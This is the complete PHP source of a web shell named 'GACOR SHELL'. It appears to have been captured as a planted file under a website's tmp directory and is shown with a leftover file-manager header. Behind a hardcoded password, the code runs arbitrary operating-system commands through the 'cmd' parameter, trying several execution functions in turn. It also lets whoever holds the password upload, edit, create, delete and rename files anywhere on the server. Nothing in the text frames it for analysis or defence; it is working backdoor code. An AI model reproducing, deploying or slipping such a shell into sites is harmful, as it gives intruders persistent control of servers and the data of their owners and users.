Your IP : 216.73.216.218


Current Path : /home/antonen/poznajlitwe.lt/tmp/
Upload File :
Current File : //home/antonen/poznajlitwe.lt/tmp/index.phtml

<?php
/*
 * GACOR SHELL v1.0 – PHP 4 COMPATIBLE
 * Password: Er1K5
 * Features: upload, edit, create, delete, rename, command execution
 */

// ====== SESSION ======
@session_start();

// ====== AUTH ======
$auth_pass = 'Er1K5';

if (isset($_GET['logout'])) {
    @session_destroy();
    header('Location: ?');
    exit;
}

if (isset($_POST['pass'])) {
    if ($_POST['pass'] === $auth_pass) {
        $_SESSION['logged'] = true;
        header('Location: ?');
        exit;
    } else {
        $login_error = '❌ Password salah!';
    }
}

if (!isset($_SESSION['logged']) || $_SESSION['logged'] !== true) {
    echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Login</title><style>
    body{background:#0a0e14;color:#c8d0d9;display:flex;justify-content:center;align-items:center;height:100vh;font-family:sans-serif;}
    .box{background:#141a24;padding:30px;border-radius:14px;border:1px solid #2a3346;text-align:center;}
    input[type=password]{width:100%;padding:12px;background:#1a2332;border:1px solid #2a3a4a;color:#fff;border-radius:8px;}
    input[type=submit]{width:100%;margin-top:15px;padding:12px;background:#00b8d4;border:none;border-radius:8px;color:#000;font-weight:bold;cursor:pointer;}
    h2{color:#00d4ff;}
    </style></head><body><div class="box">
    <h2>🔐 SHELL LOCK</h2>
    <p style="color:#6b7b8f;">Password</p>
    <form method="post"><input type="password" name="pass" placeholder="Password" autofocus required><input type="submit" value="Login"></form>';
    if (isset($login_error)) echo '<div style="color:#ff5e7a;">'.$login_error.'</div>';
    echo '</div></body></html>';
    exit;
}

// ====== BASE DIRECTORY ======
$base = dirname(__FILE__);
$dir = isset($_GET['dir']) ? $_GET['dir'] : '';
if ($dir === '') $dir = $base;
@chdir($dir);
$current = getcwd();
if (!$current) $current = $base;
if (isset($_GET['home'])) { header('Location: ?dir='); exit; }

$msg = '';

// ====== HELPER: READ FILE ======
function read_file($path) {
    if (!is_file($path)) return false;
    $handle = @fopen($path, 'r');
    if (!$handle) return false;
    $content = '';
    while (!feof($handle)) {
        $content .= fread($handle, 8192);
    }
    fclose($handle);
    return $content;
}

// ====== HELPER: WRITE FILE ======
function write_file($path, $content) {
    $handle = @fopen($path, 'w');
    if (!$handle) return false;
    fwrite($handle, $content);
    fclose($handle);
    return true;
}

// ====== HELPER: LIST FILES (without scandir) ======
function list_files($dir) {
    $folders = array();
    $files = array();
    $handle = @opendir($dir);
    if (!$handle) return array($folders, $files);
    while (($entry = readdir($handle)) !== false) {
        if ($entry == '.' || $entry == '..' || $entry == basename(__FILE__)) continue;
        if (is_dir($entry)) {
            $folders[] = $entry;
        } else {
            $files[] = $entry;
        }
    }
    closedir($handle);
    sort($folders);
    sort($files);
    return array($folders, $files);
}

// ====== COMMAND EXECUTION ======
function exec_cmd($cmd) {
    $out = '';
    if (function_exists('system')) {
        ob_start();
        system($cmd.' 2>&1');
        $out = ob_get_clean();
    } elseif (function_exists('exec')) {
        exec($cmd.' 2>&1', $o);
        $out = implode("\n", $o);
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($cmd.' 2>&1');
    } elseif (function_exists('passthru')) {
        ob_start();
        passthru($cmd.' 2>&1');
        $out = ob_get_clean();
    } elseif (function_exists('popen')) {
        $h = popen($cmd.' 2>&1', 'r');
        if ($h) {
            while (!feof($h)) $out .= fread($h, 4096);
            pclose($h);
        }
    } else {
        $out = 'No exec function available';
    }
    return $out;
}

// ====== HANDLE ACTIONS ======

// --- DELETE ---
if (isset($_GET['delete'])) {
    $file = $_GET['delete'];
    $path = $current . '/' . $file;
    if (is_dir($path)) {
        if (rmdir($path)) $msg = "🗑️ Folder $file dihapus!";
        else $msg = "❌ Gagal hapus folder!";
    } else {
        if (unlink($path)) $msg = "🗑️ File $file dihapus!";
        else $msg = "❌ Gagal hapus file!";
    }
}

// --- RENAME ---
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
    $old = $_POST['rename_old'];
    $new = $_POST['rename_new'];
    if (rename($current . '/' . $old, $current . '/' . $new)) {
        $msg = "🔄 Rename $old → $new";
    } else {
        $msg = "❌ Gagal rename!";
    }
}

// --- CREATE FOLDER ---
if (isset($_POST['create_folder'])) {
    $name = trim($_POST['folder_name']);
    if (!empty($name) && !file_exists($name)) {
        if (mkdir($name, 0755)) $msg = "✅ Folder $name dibuat!";
        else $msg = "❌ Gagal buat folder!";
    } else {
        $msg = "❌ Nama folder invalid!";
    }
}

// --- CREATE FILE ---
if (isset($_POST['create_file'])) {
    $name = trim($_POST['file_name']);
    $content = isset($_POST['file_content']) ? $_POST['file_content'] : '';
    if (!empty($name) && !file_exists($name)) {
        if (write_file($name, $content)) $msg = "✅ File $name dibuat!";
        else $msg = "❌ Gagal buat file!";
    } else {
        $msg = "❌ Nama file invalid!";
    }
}

// --- EDIT SAVE ---
if (isset($_POST['edit_file']) && isset($_POST['edit_content'])) {
    $file = $_POST['edit_file'];
    $content = $_POST['edit_content'];
    if (write_file($file, $content)) {
        $msg = "✅ File $file disimpan!";
    } else {
        $msg = "❌ Gagal simpan!";
    }
}

// --- UPLOAD ---
if (isset($_FILES['uploaded_file'])) {
    $name = $_FILES['uploaded_file']['name'];
    $tmp = $_FILES['uploaded_file']['tmp_name'];
    if (move_uploaded_file($tmp, $name)) {
        $msg = "✅ Upload OK: $name";
    } else {
        $msg = "❌ Gagal upload!";
    }
}

// --- COMMAND EXECUTION ---
$cmd_output = '';
if (isset($_GET['cmd']) || isset($_POST['cmd'])) {
    $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : $_POST['cmd'];
    $cmd_output = exec_cmd($cmd);
}

// ====== FILE LISTING ======
list($folders, $files) = list_files($current);

$doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
$web_path = str_replace($doc_root, '', $current);
$web_path = '/' . ltrim($web_path, '/');
if ($web_path == '') $web_path = '/';

// ====== EDIT MODE ======
$edit_content = '';
$edit_file = '';
if (isset($_GET['edit']) && file_exists($_GET['edit']) && is_file($_GET['edit'])) {
    $edit_file = $_GET['edit'];
    $edit_content = read_file($edit_file);
}

// ====== HTML OUTPUT ======
?>
<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>📁 GACOR SHELL (PHP4)</title>
<style>
body{background:#0a0e14;color:#c8d0d9;font-family:sans-serif;padding:20px;}
.box{max-width:960px;margin:auto;background:#141a24;padding:20px;border-radius:14px;border:1px solid #2a3346;}
h1{color:#00d4ff;border-bottom:1px solid #1f2a3a;padding-bottom:10px;display:flex;justify-content:space-between;}
.top-actions{display:flex;gap:8px;flex-wrap:wrap;}
.top-actions input[type=text]{background:#1a2332;border:1px solid #2a3a4a;color:#fff;padding:4px 8px;border-radius:4px;width:110px;}
.top-actions input[type=submit]{background:#00b8d4;border:none;color:#000;padding:4px 12px;border-radius:4px;cursor:pointer;}
.home-btn,.logout-btn{background:#00b8d4;padding:6px 12px;border-radius:6px;text-decoration:none;color:#000;font-weight:bold;}
.logout-btn{background:#ff5e7a;}
.bread{background:#0b0e14;padding:10px;border-radius:8px;margin:15px 0;border:1px solid #1c2533;}
.bread a{color:#00d4ff;text-decoration:none;padding:2px 6px;}
.bread .cur{color:#fff;background:#1a2a3a;padding:2px 8px;border-radius:4px;}
.bread span{color:#3a4a5a;}
.msg{background:#1e2838;padding:10px;border-left:4px solid #00d4ff;margin:10px 0;}
.drop{border:2px dashed #2a3a4a;padding:25px;text-align:center;border-radius:10px;margin:15px 0;background:#0f141e;cursor:pointer;}
.drop input[type=file]{display:none;}
.upload-btn{background:#00b8d4;width:100%;padding:12px;border:none;color:#000;font-weight:bold;border-radius:8px;cursor:pointer;margin-top:5px;}
.cmd-box{background:#0b0e14;padding:12px;border-radius:8px;margin:15px 0;border:1px solid #1c2533;display:flex;gap:10px;flex-wrap:wrap;align-items:center;}
.cmd-box input[type=text]{flex:1;padding:10px;background:#1a2332;border:1px solid #2a3a4a;color:#fff;border-radius:6px;min-width:200px;}
.cmd-box input[type=submit]{background:#2a3a4a;border:none;padding:10px 20px;border-radius:6px;color:#fff;cursor:pointer;}
.output-box{background:#0b0e14;padding:12px;border-radius:8px;margin:15px 0;border:1px solid #f0c040;}
.output-box pre{background:#0a0e14;color:#0f0;padding:10px;margin:0;white-space:pre-wrap;}
.file-table{width:100%;border-collapse:collapse;margin-top:15px;}
.file-table th{padding:8px;background:#1a2332;color:#8a9cb0;border-bottom:2px solid #2a3a4a;}
.file-table td{padding:8px;border-bottom:1px solid #1c2533;}
.file-table tr:hover td{background:#1a2434;}
.file-table .actions a,.file-table .actions span{margin-left:8px;text-decoration:none;font-size:16px;cursor:pointer;}
.file-table .actions .edit{color:#f0c040;}
.file-table .actions .del{color:#ff5e7a;}
.editor{background:#0b0e14;padding:15px;border-radius:8px;margin-top:15px;border:1px solid #2a3a4a;}
.editor textarea{width:100%;height:400px;background:#1a2332;border:1px solid #2a3a4a;color:#fff;padding:10px;border-radius:6px;font-family:monospace;font-size:13px;resize:vertical;}
.editor input[type=submit]{background:#00b8d4;border:none;padding:12px 30px;border-radius:6px;color:#000;font-weight:bold;cursor:pointer;margin-top:10px;}
.footer{text-align:center;margin-top:25px;font-size:11px;color:#3a4a5a;border-top:1px solid #1f2a3a;padding-top:15px;}
</style>
</head>
<body><div class="box">
<h1><span>📁 GACOR SHELL (PHP4)</span><span class="top-actions">
<form method="post"><input type="text" name="folder_name" placeholder="Folder"><input type="submit" name="create_folder" value="📁+"></form>
<form method="post"><input type="text" name="file_name" placeholder="File"><input type="submit" name="create_file" value="📄+"></form>
<a href="?home" class="home-btn">🏠</a><a href="?logout" class="logout-btn">🚪 Logout</a>
</span></h1>
<div class="bread"><span>📂</span><?php
$parts = explode('/', trim($current, '/'));
$path = '';
echo '<a href="?dir=">root</a><span>/</span>';
foreach ($parts as $p) {
    $path .= '/' . $p;
    if ($path == $current) {
        echo '<a href="?dir='.urlencode($path).'" class="cur">'.htmlspecialchars($p).'</a>';
    } else {
        echo '<a href="?dir='.urlencode($path).'">'.htmlspecialchars($p).'</a>';
    }
    echo '<span>/</span>';
}
?></div>
<?php if ($msg) echo "<div class='msg'>$msg</div>"; ?>

<div class="cmd-box">
    <form method="get"><input type="text" name="cmd" placeholder="ls -la" value="<?php echo htmlspecialchars(isset($_GET['cmd']) ? $_GET['cmd'] : ''); ?>"><input type="submit" value="💻 EXEC"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($current); ?>"></form>
</div>
<?php if (isset($_GET['cmd']) && $cmd_output !== ''): ?>
    <div class="output-box"><pre><?php echo htmlspecialchars($cmd_output); ?></pre></div>
<?php endif; ?>

<div class="drop" onclick="document.getElementById('fi').click();">
    <label>📤 <span style="color:#00d4ff;">UPLOAD</span></label>
    <form method="post" enctype="multipart/form-data" style="display:inline;">
        <input type="file" name="uploaded_file" id="fi" onchange="this.form.submit();" style="display:none;">
        <input type="submit" value="Upload" class="upload-btn" style="display:none;" id="ub">
    </form>
</div>

<?php if ($edit_file !== ''): ?>
<div class="editor">
    <h3>✏️ Edit: <?php echo htmlspecialchars($edit_file); ?></h3>
    <form method="post">
        <textarea name="edit_content"><?php echo htmlspecialchars($edit_content); ?></textarea>
        <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($edit_file); ?>">
        <input type="submit" value="💾 Simpan">
        <a href="?dir=<?php echo urlencode($current); ?>" style="color:#ff5e7a;margin-left:15px;">❌ Batal</a>
    </form>
</div>
<?php endif; ?>

<div class="file-list"><h3>📄 Daftar (<?php echo htmlspecialchars($current); ?>)</h3>
<?php if (count($folders) == 0 && count($files) == 0): ?>
    <div class="msg">Kosong</div>
<?php else: ?>
<table class="file-table"><thead><tr><th>Nama</th><th>Size</th><th>Actions</th></tr></thead><tbody>
<?php foreach ($folders as $f): $path = $current . '/' . $f; ?>
<tr>
    <td><a href="?dir=<?php echo urlencode($current.'/'.$f); ?>">📁 <?php echo htmlspecialchars($f); ?></a></td>
    <td>-</td>
    <td class="actions">
        <span style="cursor:pointer;" onclick="promptRename('<?php echo addslashes($f); ?>')">📝</span>
        <a href="?delete=<?php echo urlencode($f); ?>&dir=<?php echo urlencode($current); ?>" class="del" onclick="return confirm('Hapus folder?');">🗑️</a>
    </td>
</tr>
<?php endforeach; foreach ($files as $f): $path = $current . '/' . $f; $size = filesize($path); $size_display = $size > 1048576 ? round($size/1048576,2).' MB' : ($size > 1024 ? round($size/1024,2).' KB' : $size.' B'); $link = rtrim($web_path,'/').'/'.$f; ?>
<tr>
    <td><a href="<?php echo htmlspecialchars($link); ?>" target="_blank">📄 <?php echo htmlspecialchars($f); ?></a></td>
    <td><?php echo $size_display; ?></td>
    <td class="actions">
        <span style="cursor:pointer;" onclick="promptRename('<?php echo addslashes($f); ?>')">📝</span>
        <a href="?edit=<?php echo urlencode($f); ?>&dir=<?php echo urlencode($current); ?>" class="edit">✏️</a>
        <a href="?delete=<?php echo urlencode($f); ?>&dir=<?php echo urlencode($current); ?>" class="del" onclick="return confirm('Hapus file?');">🗑️</a>
    </td>
</tr>
<?php endforeach; ?>
</tbody></table><?php endif; ?>
</div>
<div class="footer">Password: Er1K5 | cmd=command | upload, edit, delete, rename</div>
</div>

<script>
function promptRename(oldName){
    var newName = prompt('Nama baru:', oldName);
    if (newName && newName !== oldName) {
        var form = document.createElement('form');
        form.method = 'post';
        form.innerHTML = '<input type="hidden" name="rename_old" value="'+oldName+'"><input type="hidden" name="rename_new" value="'+newName+'"><input type="hidden" name="dir" value="<?php echo htmlspecialchars($current, ENT_QUOTES); ?>">';
        document.body.appendChild(form);
        form.submit();
    }
}
</script>
</body></html>
<?php
// end of shell
?>